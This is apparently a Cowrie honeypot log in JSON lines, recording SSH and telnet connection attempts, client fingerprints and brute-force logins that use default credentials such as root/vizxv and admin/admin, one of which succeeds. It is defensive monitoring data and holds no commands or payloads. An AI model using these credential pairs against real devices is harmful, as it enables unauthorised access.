{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:03.482423Z","src_ip":"176.65.139.121","session":"38b332851515","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":8922,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c325a1f3d8b","protocol":"ssh","message":"New connection: 190.119.63.98:8922 (10.17.0.5:22) [session: 2c325a1f3d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:07.395466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:07.399924Z","src_ip":"190.119.63.98","session":"2c325a1f3d8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:07.566980Z","src_ip":"190.119.63.98","session":"2c325a1f3d8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root!23","message":"login attempt [root/Root!23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:08.177824Z","src_ip":"190.119.63.98","session":"2c325a1f3d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:09.448993Z","src_ip":"190.119.63.98","session":"2c325a1f3d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.668747186660767,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:14.239364Z","src_ip":"176.65.139.121","session":"38b332851515","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":56312,"dst_ip":"10.17.0.5","dst_port":23,"session":"2da04b7448a0","protocol":"telnet","message":"New connection: 176.65.139.121:56312 (10.17.0.5:23) [session: 2da04b7448a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:14.324492Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vizxv","message":"login attempt [root/vizxv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:19.481860Z","src_ip":"176.65.139.121","session":"2da04b7448a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":58576,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a6454cfcefe","protocol":"ssh","message":"New connection: 193.32.162.151:58576 (159.203.135.109:22) [session: 5a6454cfcefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:19.654002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:19.662564Z","src_ip":"193.32.162.151","session":"5a6454cfcefe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:19.770252Z","src_ip":"193.32.162.151","session":"5a6454cfcefe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"display","password":"display","message":"login attempt [display/display] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:20.091274Z","src_ip":"193.32.162.151","session":"5a6454cfcefe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.17753529548645,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:20.501686Z","src_ip":"176.65.139.121","session":"2da04b7448a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":40384,"dst_ip":"10.17.0.5","dst_port":23,"session":"16ce6f577662","protocol":"telnet","message":"New connection: 176.65.139.121:40384 (10.17.0.5:23) [session: 16ce6f577662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:20.580647Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:21.203094Z","src_ip":"193.32.162.151","session":"5a6454cfcefe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:29.013818Z","src_ip":"176.65.139.121","session":"16ce6f577662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.437343835830688,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:30.017854Z","src_ip":"176.65.139.121","session":"16ce6f577662","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":59480,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfa367011340","protocol":"telnet","message":"New connection: 176.65.139.121:59480 (10.17.0.5:23) [session: bfa367011340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:30.101220Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":56504,"dst_ip":"10.17.0.5","dst_port":22,"session":"d64f7b5573dc","protocol":"ssh","message":"New connection: 43.134.1.45:56504 (10.17.0.5:22) [session: d64f7b5573dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:37.309755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:37.318487Z","src_ip":"43.134.1.45","session":"d64f7b5573dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:37.564627Z","src_ip":"43.134.1.45","session":"d64f7b5573dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.5397796630859375,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:37.640859Z","src_ip":"176.65.139.121","session":"bfa367011340","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":39150,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d720eb7c1d7","protocol":"telnet","message":"New connection: 176.65.139.121:39150 (10.17.0.5:23) [session: 6d720eb7c1d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:37.720688Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.253.226.226","src_port":43488,"dst_ip":"10.17.0.5","dst_port":23,"session":"929374f6a56a","protocol":"telnet","message":"New connection: 47.253.226.226:43488 (10.17.0.5:23) [session: 929374f6a56a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:38.057832Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"buddy","message":"login attempt [root/buddy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:38.581595Z","src_ip":"43.134.1.45","session":"d64f7b5573dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":59666,"dst_ip":"10.17.0.5","dst_port":22,"session":"e67408655827","protocol":"ssh","message":"New connection: 192.169.243.246:59666 (10.17.0.5:22) [session: e67408655827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:39.740639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:39.745862Z","src_ip":"192.169.243.246","session":"e67408655827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:39.821613Z","src_ip":"192.169.243.246","session":"e67408655827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:39.830554Z","src_ip":"43.134.1.45","session":"d64f7b5573dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sector7g","message":"login attempt [root/sector7g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:40.156909Z","src_ip":"192.169.243.246","session":"e67408655827","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:40.324754Z","src_ip":"47.253.226.226","session":"929374f6a56a","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:40.373887Z","src_ip":"47.253.226.226","session":"929374f6a56a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:41.237330Z","src_ip":"192.169.243.246","session":"e67408655827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:44.343822Z","src_ip":"176.65.139.121","session":"6d720eb7c1d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.661893606185913,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:45.382487Z","src_ip":"176.65.139.121","session":"6d720eb7c1d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":39164,"dst_ip":"10.17.0.5","dst_port":23,"session":"df512d575855","protocol":"telnet","message":"New connection: 176.65.139.121:39164 (10.17.0.5:23) [session: df512d575855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:45.475271Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:49.397480Z","src_ip":"176.65.139.121","session":"df512d575855","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.918683052062988,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:50.393770Z","src_ip":"176.65.139.121","session":"df512d575855","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":49984,"dst_ip":"10.17.0.5","dst_port":23,"session":"842d401164d4","protocol":"telnet","message":"New connection: 176.65.139.121:49984 (10.17.0.5:23) [session: 842d401164d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:50.483099Z"}
{"eventid":"cowrie.session.closed","duration":7.467890501022339,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:57.950885Z","src_ip":"176.65.139.121","session":"842d401164d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":50218,"dst_ip":"10.17.0.5","dst_port":23,"session":"143a6b10163e","protocol":"telnet","message":"New connection: 176.65.139.121:50218 (10.17.0.5:23) [session: 143a6b10163e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:26:58.039924Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":52562,"dst_ip":"10.17.0.5","dst_port":22,"session":"f41b3830d7b5","protocol":"ssh","message":"New connection: 43.128.112.183:52562 (10.17.0.5:22) [session: f41b3830d7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:02.160863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:02.166057Z","src_ip":"43.128.112.183","session":"f41b3830d7b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.132110834121704,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:02.171899Z","src_ip":"176.65.139.121","session":"143a6b10163e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":50230,"dst_ip":"10.17.0.5","dst_port":23,"session":"580100ffc952","protocol":"telnet","message":"New connection: 176.65.139.121:50230 (10.17.0.5:23) [session: 580100ffc952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:02.247683Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:02.414576Z","src_ip":"43.128.112.183","session":"f41b3830d7b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"driver","message":"login attempt [root/driver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:03.435496Z","src_ip":"43.128.112.183","session":"f41b3830d7b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:04.684742Z","src_ip":"43.128.112.183","session":"f41b3830d7b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":41054,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaacad98c6ea","protocol":"ssh","message":"New connection: 94.159.98.239:41054 (159.203.135.109:22) [session: aaacad98c6ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:07.247832Z"}
{"eventid":"cowrie.session.closed","duration":5.034545421600342,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:07.282096Z","src_ip":"176.65.139.121","session":"580100ffc952","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:07.375416Z","src_ip":"94.159.98.239","session":"aaacad98c6ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:07.379953Z","src_ip":"94.159.98.239","session":"aaacad98c6ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":38522,"dst_ip":"10.17.0.5","dst_port":23,"session":"d822660ad584","protocol":"telnet","message":"New connection: 176.65.139.121:38522 (10.17.0.5:23) [session: d822660ad584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:07.503082Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"patrik","message":"login attempt [root/patrik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:08.141137Z","src_ip":"94.159.98.239","session":"aaacad98c6ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:27:09.301625Z","src_ip":"94.159.98.239","session":"aaacad98c6ea","protocol":"ssh"}
